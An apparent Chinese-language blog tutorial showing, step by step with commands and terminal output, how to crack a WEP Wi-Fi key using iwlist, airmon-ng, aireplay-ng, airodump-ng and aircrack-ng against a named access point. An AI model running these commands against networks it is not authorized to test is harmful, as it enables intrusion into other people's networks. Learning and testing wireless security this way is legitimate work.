查詢 AP 資訊，找出目標 SSID 和 channel：
$ sudo iwlist wlan0 scanning
Cell 01 - Address: 00:14:6C:7E:40:80
Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=39/70 Signal level=-71 dBm
Encryption key:on
ESSID:"Zeroplex"
用 airmon-ng 進入監聽模式，注意最後一個參數是目標 AP 所用的 channel：
$ sudo airmon-ng start wlan0 11
Interface Chipset Driver
wlan0 RTL8187 rtl8187 - [phy2]
(monitor mode enabled on mon0)
訊息後方有顯示模擬來監聽的網卡，之後 aireplay-ng 和 airodump-ng 會用這個 device。先用 aireplay-ng 檢查與目標 AP 的通訊狀況，參數「-9」表示做 injection test：
$ sudo aireplay-ng -9 -e Zeroplex mon0
21:39:04 Waiting for beacon frame (ESSID: Zeroplex) on channel 11
Found BSSID "00:14:6C:7E:40:80" to given ESSID "Zeroplex".
21:39:04 Trying broadcast probe requests...
21:39:04 Injection is working!
21:39:06 Found 1 AP
21:39:06 Trying directed probe requests...
21:39:06 00:14:6C:7E:40:80 - channel: 11 - 'Zeroplex'
21:39:06 Ping (min/avg/max): 0.604ms/10.323ms/37.851ms Power: -14.86
21:39:06 29/30: 96%最後一行的百分比表示訊號概況，數值越高表示成功率越高，距離 AP 太遠或是太近都會有影響。
準備好後就可以開始用 airodump-ng 監聽。參數「-i」表示只記錄對破解有用的資訊，沒有家䢢這個參數時，airodump-ng 會記錄所有封包內容，若有人在抓 BT 小心硬碟被吃光光；參數「-w」後加上記錄檔名稱；「–bssid」為目標 AP 的 MAC address、「-c」是channel，若沒有指定特定目標，airodump-ng 會記錄所有接收到的資訊。
$ sudo airodump-ng --bssid 00:14:6C:7E:40:80 -c 11 -i -w data mon0
CH 11 ][ Elapsed: 0 s ][ 2012-01-07 21:48
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 -20 0 9 1 0 11 54e. WEP WEP Zeroplex
Beacons 與 Data 數量越多對破解越有利。
最後使用 aircrack 嘗試解開密碼：
$ aircrack-ng record-01.cap -l key.txt
解密碼會花上一段時間，若有成功解開密碼，會將密碼寫進 key.txt 裡；若資訊量不足以解開密碼，請繼續監聽，直到 IVs 達到門檻值後再嘗試。
aircrack 的 tutorial 裡面還有介紹 aireplay-ng 的其他玩法，有興趣的可以試試看。
Tutorial: Simple WEP Crack
http://www.aircrack-ng.org/doku.php?id=simple_wep_crack